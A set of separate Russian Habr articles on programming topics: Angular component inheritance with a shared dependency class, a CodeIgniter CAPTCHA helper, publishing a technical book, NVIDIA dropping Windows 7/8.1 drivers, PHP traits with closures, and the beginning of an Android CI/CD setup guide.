Итак, собственно проблема: порой у нас в проекте есть много похожих компонентов, с одинаковой логикой, одинаковыми DI, свойствами итд и возникает мысль: а почему бы не вынести все это дело в базовый компонент (точнее директиву) абстрактным классом, а остальные компоненты уже наследовать? На самом деле мысль хорошая, принцип DRY соблюдается, имеем один источник истины, при изменении той самой общей логики не придется прыгать по всем компонентам итд.
Но есть один нюанс: эти злосчастные конструкторы. Нужно в каждом наследуемом компоненте передавать все DI в конструктор родителя.
```
constructor (
customService: CustomService,
additionalService: AdditionalService
) {
super(customService, additionalService)
}
```
выглядит не очень, но это полбеды. Беда в том, что если у нас в базовом классе добавляется DI, нам придется прыгать по всем компонентам-наследникам и добавлять эту зависимость в конструктор. Плакал наш DRY :-))
Попробуем сделать по другому: вместе с базовым компонентом создадим Injectable-класс, куда завернем все зависимости. И заинжектим его в базовый класс
```
@Injectable()
export class MyBaseComponentDependences {
constructor(
public customService: CustomService,
public additionalService: AdditionalService
) {}
}
@Directive()
export abstract class MyBaseComponent {
//Пример использования сервиса в родительском классе
shareEntity = this.deps.additionalService.getShare()
protected constructor(
public deps: MyBaseComponentDependences
) {}
}
```
Класс-наследник будет выглядеть так
```
@Component({providers: [MyBaseComponentDependences] })
export class MyChildComponent extends MyBaseComponent {
//Пример использования сервиса в классе-наследнике
customEntity = this.deps.customService.getEntity()
constructor(deps: MyBaseComponentDependences) {
super(deps);
}
}
```
Теперь, если у нас в базовый класс добавляется DI мы меняем только класс MyBaseComponentDependences, все остальное остается как есть. Проблема решена
PS: однако я считаю, что наследование компонентов в Ангуляре стоит использовать только в том случае, когда это действительно необходимо, и нет возможности или не целесообразно выносить общую логику в сервисы, отдельные классы или директивы аттрибутов. | https://habr.com/ru/post/544590/ | null | ru | null |
# Расширение помощника CAPTCHA для Codeigniter
Недавно, от наличия свободного времени и желания сделать что то полезное, решил написать расширение для ~~убогого~~ хелпера капчи в Codeigniter.
Если Вам доводилось иметь дело с данным помощником, то Вы наверняка знаете, что он сохраняет каждое сгенерированное изображение капчи для дальнейшего вывода на страницу. Что, в свою очередь, приводит к лишним телодвижениям в виде отслеживания каждого созданного файла и ~~сбора мусора~~ удаление использованных или простроченных.
*Файлы накапливаются в папке проекта.*
Если не обращать внимания на это, и использовать стандартное решение, то можно заметить ~~косяки~~ проблемы с выводом случайной строки текста, которая часто выходит за границу изображения, что не даёт возможности на её корректный ввод. Что, в свою очередь портит нервы пользователя.
*Генерирует 8 случайных символов, на рисунке видно всего 6, остальные “ушли” за правую границу.*
Также совсем отсутствует настройка внешнего вида, кроме размеров изображения на выходе.
Поэтому были поставлены задачи для написания с учётом данных недостатков.
**Задачи:**
1. Убрать запись файлов на жесткий диск и реализовать потоковый вывод изображений прямо в браузер.
2. Исправить ошибку выхода символов за границы изображения.
3. Добавить возможность указания длины случайной строки.
4. Добавить возможность создавать изображение с рамкой и без рамки.
5. Добавить генерацию случайной цветовой схемы, для изображения.
**Реализация:**
**MY\_captcha\_helper.php**
```
function create_captcha_stream($data = '')
{
$defaults = array('word' => '', 'img_width' => 150, 'img_height' => 30, 'font_path' => '', 'random_str_length' => '5', 'border' => TRUE);
foreach ($defaults as $key => $val)
{
if ( ! is_array($data))
{
if ( ! isset($$key) OR $$key == '')
{
$$key = $val;
}
}
else
{
$$key = ( ! isset($data[$key])) ? $val : $data[$key];
}
}
if ( ! extension_loaded('gd'))
{
return FALSE;
}
// -----------------------------------
// Do we have a "word" yet?
// -----------------------------------
if ($word == '')
{
$pool = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
$str = '';
for ($i = 0; $i < $random_str_length; $i++)
{
$str .= substr($pool, mt_rand(0, strlen($pool) -1), 1);
}
$word = $str;
}
// -----------------------------------
// Determine angle and position
// -----------------------------------
$length = strlen($word);
$angle = ($length >= 6) ? rand(-($length-6), ($length-6)) : 0;
$x_axis = rand(6, (360/$length)-16);
$y_axis = ($angle >= 0 ) ? rand($img_height, $img_width) : rand(6, $img_height);
// -----------------------------------
// Create image
// -----------------------------------
if (function_exists('imagecreatetruecolor'))
{
$im = imagecreatetruecolor($img_width, $img_height);
}
else
{
$im = imagecreate($img_width, $img_height);
}
// -----------------------------------
// Assign colors
// -----------------------------------
/* RAND */
$red = rand(50, 100);
$green = rand(50, 100);
$blue = rand(50, 100);
$bg_color = imagecolorallocate($im, 255, 255, 255);
$border_color = imagecolorallocate($im, $red, $green, $blue);
$text_color = imagecolorallocate($im, $red+30, $green+30, $blue+30);
$grid_color = imagecolorallocate($im, $red+60, $green+60, $blue+60);
$shadow_color = imagecolorallocate($im, 255, 240, 240);
// -----------------------------------
// Create the rectangle
// -----------------------------------
ImageFilledRectangle($im, 0, 0, $img_width, $img_height, $bg_color);
// -----------------------------------
// Create the spiral pattern
// -----------------------------------
$theta = 1;
$thetac = 7;
$radius = 16;
$circles = 20;
$points = 32;
for ($i = 0; $i < ($circles * $points) - 1; $i++)
{
$theta = $theta + $thetac;
$rad = $radius * ($i / $points );
$x = ($rad * cos($theta)) + $x_axis;
$y = ($rad * sin($theta)) + $y_axis;
$theta = $theta + $thetac;
$rad1 = $radius * (($i + 1) / $points);
$x1 = ($rad1 * cos($theta)) + $x_axis;
$y1 = ($rad1 * sin($theta )) + $y_axis;
imageline($im, $x, $y, $x1, $y1, $grid_color);
$theta = $theta - $thetac;
}
// -----------------------------------
// Write the text
// -----------------------------------
$use_font = ($font_path != '' AND file_exists($font_path) AND function_exists('imagettftext')) ? TRUE : FALSE;
if ($use_font == FALSE)
{
$font_size = 7;
$x = rand(1, $img_width-(($length*$font_size)*2));
$y = 0;
}
else
{
$font_size = 12;
$x = rand(1, $img_width-($length*$font_size));
$y = $font_size+2;
}
for ($i = 0; $i < strlen($word); $i++)
{
if ($use_font == FALSE)
{
$y = rand(1 , $img_height-($font_size*3));
imagestring($im, $font_size, $x, $y, substr($word, $i, 1), $text_color);
$x += ($font_size*2);
}
else
{
$y = rand($font_size , $img_height-($font_size/3));
imagettftext($im, $font_size, $angle, $x, $y, $text_color, $font_path, substr($word, $i, 1));
$x += $font_size;
}
}
// -----------------------------------
// Create the border
// -----------------------------------
if ($border == TRUE)
{
imagerectangle($im, 0, 0, $img_width-1, $img_height-1, $border_color);
}
// -----------------------------------
// Generate the image
// -----------------------------------
header("Content-type: image/jpeg");
ImageJPEG($im);
ImageDestroy($im);
return $word;
}
```
*За основу была взята оригинальная функция создания капчи.*
**Пример использования:**
Как подключить [расширение для помощника](http://ellislab.com/codeigniter/user-guide/general/helpers.html), можно запросто найти в [документации Codeigniter](http://ellislab.com/codeigniter/user-guide/), поэтому копипаст сюда делать не буду.
Создать контроллер куда вписать:
```
$this->load->helper('captcha');
$prefs = array( // настройки капчи, все элементы являются необязательными
'word' => 'text', // текст
'img_width' => 100, // ширина изображения (int)
'img_height' => 30, // высота изображения (int)
'random_str_length' => 5, // длина случайной строки (int)
'border' => FALSE, // добавлять рамку (bool)
'font_path' => 'path_to_.ttf' // путь к файлу шрифта
);
$word = create_captcha_stream($prefs);
$this->session->set_flashdata('word', $word);
```
Функция `create_captcha_stream` – возвращает сгенерированною строку и выводит изображение потоком в браузер.
Строку добавляем в сессию для последующего сравнения с данными введенными пользователем.
Соответственно для вывода изображения пользователю добавляем в шаблон с формой, где должна выводится капча, тег:
``
*Пример сгенерированной капчи*
Теперь при выводе капчи в сесию будет записываться строка, что выведена на изображение в браузер.
Проверка введенных данных:
```
$captcha = trim($this->input->post('captcha')); // то что пришло с формы
$word = $this->session->flashdata('word'); // то что было сгенерировано
if ($word == $captcha)
{
echo "Login sucsessfull";
}
else
{
echo "Bad login";
}
```
Убрать регистрозависимость можно с помощью функции преобразования символов строки в нижний регистр `strtolower()`.
Статья является примером усовершенствования стандартной капчи, здесь не описано ничего нового и сверхъестественного. | https://habr.com/ru/post/161635/ | null | ru | null |
# Издание собственной книги: от А до Я
[](http://speedupyourwebsite.ru/books/speed-up-your-website/)После [заметки о выходе книги](http://habrahabr.ru/blogs/speedupyourwebsite/54572/) [«Разгони свой сайт»](http://speedupyourwebsite.ru/books/speed-up-your-website/) ко мне обратились с просьбой осветить процесс публикации собственного издания. Не скажу, что описанные ниже действия были простыми и очевидными: в ходе возникло масса вопросов, на которые я с трудом мог ответить самостоятельно, поэтому приходилось искать совета буквально везде.
### Предыстория
Начинать надо прежде всего с того, чтобы **иметь четкий замысел книги** и время на ее написание. В моем случае мне очень помог тот факт, что на момент написания весь материал был уже фактически собран, и мне нужно было только его скомпоновать, перепроверить и уточнить.
Если у вас нет четкого плана изложения материала, то лучше вообще не начинать сам процесс написания. В таком случае он может стать долгим, мучительным, а результат совершенно не удовлетворит потенциальных читателей.
### Поиск издательства
Естественно, если нет издательства, то издание возможно только в электронном виде. Издательство в процессе публикации книги в бумажном виде является тем самым «необходимым злом»: оно берет на себя все риски и издержки, связанные с печатью, хранением и распространением книги. Только у издательства есть договор с сетью дистрибьюторов, только через которых книга может оказаться в магазине.
Да, можно полностью озаботиться корректурой и проверкой рукописи, предпечатной подготовкой, переговорами с типографией, транспортировкой тиража сначала из типографии, а потом на склады к поставщикам (конечно же, только после переговоров с поставщиками и заключения договора явно не на лучших условиях — у вас ведь нет личных связей или громкого имени). Если рассчитать весь процесс с денежной точки зрения, то публикация через издательство хотя и дает довольно мало (чуть ниже я освещу этот вопрос более подробно), но гораздо надежнее: вы можете сосредоточить конкретно на содержании книги, а не думать о куче сопутствующих моментов.
Итак, мои поиски издательства начались с [«БХВ-Петербург»](http://www.bhv.ru/) (вполне адекватного издательства по словам [Артемия Ломова](http://lomov.ru/)). Они же издавали [книгу Влада Мержевича](http://www.ozon.ru/context/detail/id/2164337/), которая, по их словам, слабо продавалась в 2005–2006 году, поэтому были не сильно настроены продвигать еще одно «конкурирующее» издание. После этого я уже подумывал просто написать книгу и выложить ее в электронном доступе.
На самом деле, тот факт, что книга не будет издана в бумажном варианте, меня несколько подстегнул: я понял, что смогу полностью сосредоточиться на содержании, что и сделал. Было [опубликовано оглавление](http://habrahabr.ru/blogs/speedupyourwebsite/41665/), я и начал активно работать над каждой заявленной главой (в результате, уже через месяц оказалось возможным [выложить первую версию рукописи](http://habrahabr.ru/blogs/speedupyourwebsite/43794/)). В этом процессе меня застало предложение от моего старого знакомого, [Сережи Пантелеева](http://bambr.habrahabr.ru/), попробовать издаться через [«Открытые системы»](http://osp.ru/) ([intuit.ru](http://intuit.ru/)). У меня начался второй этап переговоров.
Так что в вопросе поиска издательства можно посоветовать только одно: **ищите известное и(ли) уважаемое предприятие, у которой есть серия, подходящая вам по тематике**. Все остальное уже вторично.
### Условия издания
Условия издания книг несколько отличаются от издательства к издательству. Например, в том же «БХВ-Петербург» авторский гонорар выплачивают раз в квартал, никакой предоплаты нет. Это означает, что после написания рукописи пройдет около полугода, прежде чем за нее удастся получить первые деньги. Другие, скорее всего, упирают на эксклюзивные права на рукопись и невозможность переиздания в других организациях. Третьим, как например, «Открытые системы» нужно именно содержание, которое могло бы использоваться максимально эффективно — это уже настоящий веб2.0-подход — при этом эксклюзивность содержания не настолько важна, чтобы включать требование в договор.
Остальные условия более-менее стабильны: 10% (говорят, бывает и меньше) с оптовой цены (подчеркну, что именно оптовой: розничная обычно в два–три раза выше), некоторое количество (в моем случае это 20) авторских экземпляров, предоставление редактуры, корректуры и верстки за счет издательства (либо с заключением дополнительных договоров с каждым звенов).
На что стоит обращать внимание при заключении договора:
* Авторские права: все, кроме непосредственного издания книги и ее распространение через магазины, должно происходить с письменного вашего согласия. Иначе издательство сможет издать электронную книгу и распространять ее самостоятельно. Либо каждый канал распространения должен быть конкретно упомянут (CD/DVD, использование на сайте, PDF/CHM-версия, создание аудио- или видео-материалов и т.д.). Также нужно отследить пункт про переиздание произведения: оно должно быть только с согласия автора.
* Авторские права: эксклюзивность или нет передаваемых прав на издание рукописи (в моем случае эта была строка в договоре «автор имеет право передавать права на свое произведение или отдельные его части третьим лицам»).
* Авторское право: электронное распространение (лично для меня было существенно, чтобы электронная версия книги могла распространяться бесплатно) — «автор имеет право распространять произведение на компакт-дисках, дискетах, а также сетевыми способами через Интернет без уведомления Издательства.»
* Сроки: стоит проконтролировать, чтобы сроки на принятие решение по поводу рукописи и ее публикации не превышали 30 дней — иначе весь процесс может существенно задержаться. Стоит также обговорить сам процесс лично в издательстве,
* Оплата: эти самые 10% от оптовой цены — стандартная ставка. Оптовая цена, скорее всего, определяется уже по договоренности с самим издательством.
* Оплата: выплата авторского вознаграждения. В этом пункте у каждого издательства свои стандарты (соотнесенные с денежными потоками внутри предприятия), поэтому сильно гнуть свою линию не стоит. В моем случае приятным бонусом стало то, что половина суммы выплачивается в течение месяца после выхода книги, а вторая половина — через три месяца (независимо от скорости продажи книги, но и тираж при этом не такой большой получился).
* Оплата: бесплатные экземпляры книги (приятный бонус). Дополнительно стоит обговорить с издательством цену выкупа у них части тиража (если планируете распространять самостоятельно).
Тут очень важно **лично договориться с издательством** (в лице главного редактора или его заместителя) обо всех условиях издания: в России пока в первую очередь ценится именно неформальная договоренность, нежели юридический договор.
### Подготовка рукописи
К счастью, этот этап не занял у меня много времени просто потому, что 2/3 материалов уже были в каком-то виде написаны. однако даже на такую компоновку ушел месяц (при этом, естественно, я еще работал на основной работе). Объем книги составил 260 страниц. Исходя из этого можно прикинуть примерный объем времени в вашем случае.
Окончательная рукопись была в формате `.doc`, издательство это вполне устраивало. Все дальнейшая переписка проводилась с использованием именно этого формата. После окончательной версии рукописи началась ее проверка.
В ходе проверки и вычитки я пообщался с редактором (который проверял общий смысл) и корректором (который проверял орфографию и пунктуацию). После немногочисленных споров рукопись в течение двух недель, наконец, попала к верстальщику. Тут начались основные проблемы.
Больше всего в ходе верстки пострадали рисунки (ибо в рукописи они были цветные и «от руки», а в самой книги — черно-белые и стандартизованные). Подписи к рисункам набирались от руки (в результате в них появились дополнительные отпечатки), код также пострадал (в частности, пришлось отслеживать пропадание двух дефисов в конструкциях с условными комментариями). В следующий раз, наверное, я все же постараюсь договориться с иллюстратором, чтобы оформить издание более красочно. Но это уже мои личные предпочтения.
Также ближе к концу создания предпечатного макета нужно будет разработать обложку. Но это также остается больше на совести издательства (оно ведь берет на себя все оформительские работы). Процесс согласования верстки и обложки занял еще две–три недели.
В общем, на всем этапе согласования рукописи **нужно набраться терпения** и не пропустить в печать явных ляпов от корректора. В любом случае все правки согласовываются, так что без вашего ведома ничего в итоговую книгу не попадет.
### Электронная версия
Для меня было существенно наличие [электронной версии книги](http://habrahabr.ru/blogs/speedupyourwebsite/51823/), которая могла бы свободно распространяться. Для этого в финальный макет была включена обложка (и сделаны некоторые правки для совместимости с некоторыми платформами). Затем на основе DOC-файла (в который необходимо было внести все правки, возникшие по ходу согласования) был создан FB2- и CHM-файлы, затем уже HTML- и WOL-версии книги, все они [speedupyourwebsite.ru/books/speed-up-your-website](http://speedupyourwebsite.ru/books/speed-up-your-website/)»">были выложены в онлайн.
Попутно совместно с издательством (ибо, как я уже упомянул, им интересно использование авторского содержания по максимуму) был отснят видео-курс [«Основы клиентской оптимизации»](http://speedupyourwebsite.ru/video/speed-up-your-website/) и подготовлен к нему набор тестов. Все это проходило параллельно ожидания очереди в типографии и закончилось вполне благополучно.
Самое хорошее, что дает электронная версия, — это **прямые отзывы от непосредственных читателей**. Публикация произведения в интернете обеспечивает как раз тем, чего недостает обычной книге: контактами с теми, кто находится по другую сторону бумаги. Но подчеркну, что в данном случае на описываемую позицию сильно ориентироваться не стоит, ибо не везде допустимо такое свободное распространение.
### Выход из печати
Последний этап в публикации — Это, конечно, выход книги из типографии. Московские издательства обычно печатаются в регионах, поэтому возможны накладки, связанные с доставкой тиража в Москву (собственно, на них я и напоролся: книга появилась в Москве недели на три позже, чем ожидалось). Тут поможет только личный контакт с издательством: закреплять какие-то сроки в договоре не очень выгодно, а сдвиги могут весьма существенные.
После выхода книги обычно недели две проходит до появления ее в магазинах, ибо издательству нужно передать часть тиража дистрибьюторам. Розничная цена, как правило, превосходит оптовую в два–три раза в связи с транспортными издержками и другими рисками (большой объем тиража, например), однако брать эти издержки на себя и самостоятельно продавать книгу тоже может быть невыгодно. И все же я хочу рискнуть и часть тиража распространяю своими силами (в частности, попутно с [посещением братской Украины](http://habrahabr.ru/blogs/development/53970/) и прочих городов, можно спрашивать в привате по поводу моих планов на ближайшее будущее: могу довезти книгу за символическую цену в 300р).
Дальше, наверное, будет какое-то продолжение этой истории. Но пока, частично освоив этот процесс, я собираюсь его повторить и донести до благодарных читателей новую порцию информации (да, кстати, [Steve Souders](http://www.stevesouders.com/) также собирается писать продолжение книги [High Performance Web Sites](http://oreilly.com/catalog/9780596529307/) — [Even Faster Web Sites](http://www.amazon.com/Even-Faster-Websites-Essential-Knowledge/dp/0596522304)).
P.S. Да, после публикации электронной версии пришлось столкнуться с [парой случаев пиратства](http://sillysunnybear.livejournal.com/81940.html). Слава богу, все они были полюбовно разрешены | https://habr.com/ru/post/54886/ | null | ru | null |
# NVIDIA прекращает выпуск драйверов для Windows 7 и 8.1 в этом году
Представители компании NVIDIA [заявили](https://nvidia.custhelp.com/app/answers/detail/a_id/5201/related/1), что в октябре 2021 года с поддержки компании будут сняты пользовательские ОС Windows 7 и Windows 8.1. Это означает, что для этих операционных систем более не будут выпускаться драйвера для графических ускорителей GeForce.
«Подавляющее большинство наших пользователей GeForce перешли на операционную систему Windows 10. Чтобы обеспечить владельцам карт максимально возможную безопасность, поддержку и функциональность, компания NVIDIA сосредоточит свои силы на операционной системе Windows 10», — говорится в сообщении.
Таким образом, с октября 2021 года владельцы видеокарт NVIDIA перестанут получать обновления Game Ready Driver, с которыми компания постоянно поставляет новые возможности и улучшения производительности в компьютерных играх. О версии драйверов **Creator Ready** в записи не упоминается, соответственно, этот тип драйверов для профессионального использования будет поставляться, как и ранее.
Сейчас видеодрайвер играет огромную роль в игровой индустрии, особенно, когда вопрос касается высокопроизводительных приложений. Так, компания NVIDIA постоянно выпускает специальные версии Game Ready Driver для популярных тайтлов и сетевых игр, таких как Fortnite, COD: Warzone, Apex Legends. С выходом новой популярной игры инженеры NVIDIA вместе с разработчиками готовят специальные выпуски оптимизированных конкретно под этот проект драйверов.
Также важно и то, что новые графические технологии, такие как [NVIDIA Reflex](https://www.nvidia.com/en-us/geforce/news/reflex-low-latency-platform/), поставляются изначально с видеодрайвером, а уже после добавляются в панели настроек игры разработчиками проекта. Например, для Apex Legends технология Reflex стала доступна через указание в параметрах запуска команды `+gfx_nvnUseLowLatency 1` еще в октябре 2020 года, а возможность включить эту функцию в параметрах настройки графики в самой игре пользователи получили только в 2021 году, когда разработчики наконец-то добавили соответствующую кнопку в интерфейс. Но даже если забыть о новых фичах и технологиях, свежие версии драйверов — это повышение производительности графического ускорителя в уже существующих приложениях.
По словам представителей NVIDIA, решение об отказе поддержки Windows 7, 8 и 8.1 связано с тем, что подавляющее большинство игроков уже перешли на Windows 10: по статистике Steam операционная система Windows 10 установлена уже у 93% пользователей платформы. Доля же Windows 7 составляет не более 2%. Также предыдущие версии ОС от Microsoft уже сняты с полной поддержки. Windows 7, 8 и 8.1 вплоть до сентября 2024 года будут получать исключительно обновления безопасности.
Версия драйверов Game Ready, еще совместимая с Windows-системами прошлых поколений будет поставлена 31 августа 2021 года, а уже 4 октября 2021 года NVIDIA начнет выпускать драйвера исключительно для Windows 10. | https://habr.com/ru/post/562628/ | null | ru | null |
# Типажи и анонимные функции в PHP. Кря-кря!
В данной статье я не буду рассказывать, что такое Типажи, не буду описывать синтаксис, или разбирать всякие тонкости, связанные с разрешением имен и наследованием Типажей. На эту тему на Хабре уже есть [фундаментальная статья](http://habrahabr.ru/post/130000/).
Я хочу лишь показать один маленький, но гордый пример использования типажей совместно с анонимными функциями. В нем не будет ничего технически сложного: всего один типаж и два класса. Практической ценности в нем тоже не очень много, как и в любом модельном примере. Но идея — каким образом можно структурировать и переиспользовать код — на мой взгляд очень ценна.
Заинтересовавшихся прошу под кат.
#### Предисловие
Как-то так сложилось, что PHP (с появлением в нем ООП) в вопросах структуризации кода очень похож на Java. Наследуемся от класса, реализуем интерфейсы. Можем даже в параметрах методов указать необходимость принадлежности аргумента определенному генеалогическому древу.
Но, если в Java, как в статически типизированном языке, это имеет смысл, так как позволяет выявить некоторый круг ошибок еще на этапе компиляции, то какой смысл во всех этих телодвижениях в динамически типизированном PHP? Может мы слишком много волнуемся о совсем ненужных вещах? Действительно ли нам так обязательно осведомляться о папах, бабушках или кузинах полученных нами объектов, когда нас в сущности интересует только то, может ли объект сделать то, что нам нужно?
Несложно заметить, что я веду речь об утиной типизации. Достаточно мощная концепция, следуя которой можно писать очень выразительный код, причем не обязательно подверженный большему количеству ошибок и менее стабильный, чем при использовании классического подхода (на эту тему можно нагуглить достаточно материала, правда в основном применительно к Ruby).
Некоторое время назад в PHP появились анонимные функции (5.3), и я подумал: «Неплохо! Но не сильно полезно.». Потом (5.4) в PHP появились типажи, и я понял, что время пришло. Давайте наконец-то перейдем к примеру и посмотрим, что нам может предложить PHP.
#### Постановка задачи
Итак, давайте потренируемся в использовании типажей совместно с анонимными функциями. На чем тренироваться? Ну, мне пришли в голову коллекции, так что тренироваться будем на них. Сначала подумаем чего мы хотим, и какие есть способы этого достичь.
Итак, какие действия можно производить над коллекциями. Ну, например, мы можем найти максимальный и минимальный элементы коллекции, или элементы удовлетворяющие определенному условию; можем получить новую коллекцию, применив над каждым элементом исходной коллекции какую-то операцию (map) и т.д… Набор этих методов прямо просится назвать **типажом**.
Что нам нужно от коллекции для того, чтобы мы могли реализовать эти методы? Только одно: мы должны иметь возможность итерироваться по элементам коллекции. Давайте назовем этот необходимый функционал **контрактом**.
Каким образом мы можем реализовать этот контракт? Есть два варианта:
1. Стандартный подход, когда мы берем итерирование на себя. Т.е. клиент получает от коллекции итератор и использует его для обхода этой коллекции.
2. Предполагаем, что коллекция лучше знает, как итерироваться по себе, и вместо того, чтобы *грубо пройтись по коллекции*, как в предыдущем варианте, мы *вежливо просим ее обойти себя*, сообщая определенную логику для итерирования.
Оба подхода хороши (возможно первый чуть более гибок, чем второй), но я выберу подход номер 2, потому что он, во-первых, лучше послужит моим целям, а во-вторых, потому что я так захотел.
#### Реализация
> Прежде, чем приступать к примеру, рекомендую Вам скачать код со специально подготовленного на этот случай [репозитория](https://github.com/ArtemPyanykh/php_fancy_collections) на GitHub, т.к. листинги в статье будут урезаны для ясности изложения.
Итак, давайте, напишем наш типаж, руководствуясь описанными выше соображениями.
**Listing: Collections\Enumerable**
```
namespace Collections;
trait Enumerable {
/** Контракт типажа
Осуществляет обход коллекции, применяя $block к каждому ее элементу
**/
abstract public function each(\Closure $block);
public function findAll(\Closure $predicate)
{
$result = new FancyArray();
$this->each(function($el) use ($predicate, &$result) {
if ($predicate($el)) {
$result[] = $el;
}
});
return $result;
}
public function map(\Closure $block) {
$result = new FancyArray();
$this->each(function($el) use ($block, &$result) {
$processed = $block($el);
$result[] = $processed;
});
return $result;
}
/** Дальше следуют другие методы **/
}
```
Сам по себе он особой ценности не несет, так что нам нужна коллекция, куда его можно будет включить. Давайте реализуем эту коллекцию, на примере обычного массива:
**Listing: Collections/FancyArray**
```
namespace Collections;
class FancyArray implements \ArrayAccess, \Countable {
protected $container;
function __construct($initial = array())
{
if (is_array($initial)) {
$this->container = $initial;
} else if ($initial instanceof FancyArray) {
$this->container = $initial->toArray();
}
}
public function offsetExists($offset)
{
return isset($this->container[$offset]);
}
public function offsetGet($offset)
{
return isset($this->container[$offset]) ? $this->container[$offset] : null;
}
public function offsetSet($offset, $value)
{
if (is_null($offset)) {
$this->container[] = $value;
} else {
$this->container[$offset] = $value;
}
}
public function offsetUnset($offset)
{
unset($this->container[$offset]);
}
public function toArray()
{
return $this->container;
}
public function count()
{
return count($this->container);
}
}
```
Теперь у нас есть массив, осталось лишь включить в него типаж Collections\Enumerable и реализовать контракт:
```
namespace Collections;
class FancyArray implements \ArrayAccess, \Countable {
use Enumerable;
... ... ... ...
/**
* Calls $block for every element of a collection
* @param callable $block
*/
public function each(\Closure $block)
{
foreach ($this->container as $el) {
$block($el);
}
}
}
```
Как видите все довольно тривиально, зато теперь мы можем делать, например, такие штуки (и это потребовало от нас всего нескольких строчек кода):
```
$a = new FancyArray([1, 2, 3, 4]);
$res = $a->map(function($el) {
return $el*$el;
});
// [1, 4, 9, 16]
$res->reduce(0, function($initial, $el) {
return $initial + $el;
}));
// 30
```
Это, конечно, занятно, но давайте пойдем дальше. Чем, файл, например не коллекция? Коллекция конечно, так что нам ничего не мешает сделать, например, так:
```
namespace IO;
class FancyFile extends \SplFileObject {
use \Collections\Enumerable;
public function each(\Closure $block)
{
$this->fseek(0);
while ($this->valid()) {
$line = $this->fgets();
$block($line);
}
}
}
```
Включили типаж, реализовали контракт, и теперь мы можем, например, подсчитать суммарную длину строк файла нечетной длины следующим образом (если нам это вообще когда-нибудь понадобиться ^\_^ ):
```
$obj = new FancyFile();
$res = $obj
->select(function($el) {
return strlen(trim($el)) % 2 == 1;
})
->map(function($el) {
return strlen(trim($el));
})
->reduce(0, function($initial, $el) {
return $initial + $el;
});
```
Вот такие вот дела, господа.
#### Заключение
На мой взгляд, использование типажей (или сходных механизмов) более естественно в динамически типизированных языках, нежели танцы с интерфейсами и наследованием. Это дает нам большую гибкость и выразительность, а разве не именно за этим мы пришли сюда? Но у каждой медали есть обратная сторона, и тут этой обратной стороной может быть гораздо более сложный для восприятия код, более запутанный и неявный код. Помните, если что-то можно сделать, это необязательно нужно делать. Большая сила — большая ответственность, господа!
#### Ссылки
Пост о типажах — [habrahabr.ru/post/130000](http://habrahabr.ru/post/130000/)
Про утиную типизацию — [en.wikipedia.org/wiki/Duck\_typing](http://en.wikipedia.org/wiki/Duck_typing)
Репозиторий с кодом из статьи — [github.com/ArtemPyanykh/php\_fancy\_collections](https://github.com/ArtemPyanykh/php_fancy_collections)
#### P.S.
Если будет время, попробуйте поиграться с кодом. Например, реализуйте в Collections\Enumerable метод eachWithIndex, следующего формата:
```
$a->eachWithIndex(function($el, $idx) {
echo $el;
echo $idx;
});
```
Или попробуйте решить проблему нелокального перехода в методе Collection\Enumerable#find (как только мы находим первый элемент, удовлетворяющий условию, мы можем прекратить итерирование и вернуть его).
Если придумаете хорошее решение или просто реализуете что-нибудь интересное, пожалуйста, сделайте Pull Request. | https://habr.com/ru/post/180333/ | null | ru | null |
# Android + Gradle + CI + CD или Как настроить кормушку для котов
Здравстуй дорогой читатель. Если тебе незнакомы понятия Continuous integration (CI), Continuous delivery (CD) или же у тебя нет представления как и зачем их нужно использовать, то прошу под кат, где тебя ждет небольшое описание как настроить данные сервисы в своем Android проекте, а также какие бонусы будут получены в итоге.
**Введение**
Дорогой читатель, если ты думаешь, что в данной статье будет много кода — то ты ошибаешься. Кода как раз у нас будет самый минимум, но он позволит показать некоторые возможности CI. Основная часть статьи — как настроить связки сервисов. Надеюсь для разработчиков Junior/Middle данная статья будет весьма интересной и полезной.
**Предыстория**
Все началось со стартапа. У нас было достаточно хорошее финансирование и планы на ближайшие два года. Над android проектом работало два человека. Методология была у нас похожа на agile с использованием gitflow. Спустя два месяца разработки код был частично покрыт тестами, и вроде процесс для нашего небольшого проекта был отлаженный, но что то не давало покоя.
У меня есть предположение, что если вы не работаете в крупной компании, а трудитесь в стартапе (которых бесчисленное множество), то вы даже не задумываетесь о выгоде использования CI CD сервисов. Однако именно они помогут вам сэкономить время.
Я — разработчик, поэтому буду описывать происходящее от данной позиции.
Думаю ситуация, в которой к вам подходит кот (под данным словом я понимаю абсолютно любую позицию не-разработчиков в вашей команде, которые просят продукт для QA) и просит установить последнюю сборку на его телефон. По началу это не воспринимается как серьезная трудная задача. Однако, это создает следующие проблемы:
* Пожалуй самое главное — вы отрываетесь от текущей задачи
* Вы ищете последний скомпилированный apk
* Ваш последний скомпилированный apk является вашей dev сборкой, и показывать ее ну никак нельзя
* Вы подключаете мобильный телефон кота через кабель и устанавливаете сборку
* А что если в нашей текущей ветке есть не закомиченные изменения? (commit -a \ stash в помощь, но все равно это время)
* Вы тратите время на возврат к задаче которую вы выполняли
Это лишь вершина айсберга. А что если у вас много разных котов? Вы начинаете тратить все больше и больше времени для выполнения задач второстепенного характера.
Давайте же попробуем разобраться на небольшом примере, как сэкономить свое и чужое время.
Забегая немного вперед скажу, что сейчас, если разработка проекта у меня занимает больше одного месяца я все равно настраиваю Ci+Cd, что в дальнейшем приводит к вовлеченности заказчика и вы сразу же получаете фидбэк на разработку.
**Цели**
Мне было интересно построить данную статью на примере очереди из действий, которую нам необходимо проделать для получения результата. Причем каждую цель — выделить в отдельный коммит. Думаю так будет интереснее и проще понять, что происходит.
Пока мне видится три основные этапа ToDo:
1. Создать проект
2. Настроить CI
3. Настроить CD
Преждевременная оптимизация — корень всех зол. (Premature optimization is the root of all evil. D. Knuth)
**Создать проект**
Думаю этот этап будет самым простым. Создаем новый [репозиторий](https://github.com/vacxe/HabrCiCdCat) на VCS (Github/Bitbucket). Я лично выбираю GitHub — просто дело привычки. Все дальнейшие изменения вы можете отслеживать по коммитам.
Далее, делаем [первый коммит](https://github.com/vacxe/HabrCiCdCat/commit/4358b7f8499313cc269c8a9e177815847808aa8b)
Даже если сейчас мы начнем делать разработку новой фитчи, и к нам подойдет кот и попросит последнюю сборку, то мы будет вынуждены откатиться до master head. В целом мы подошли к проблеме.
**Настроить Ci**
Чтобы что-то кому то отправить, надо это что-то где-то собрать. И желательно с минимальной отвлеченностью нас от основной задачи разработки.
В качестве Ci сервиса я предпочитаю [CircleCI](http://circleci.com). Существуют также и [альтернативы](https://travis-ci.org/) и никто не запрещает вам использовать более одного Ci сервиса в вашем проекте.
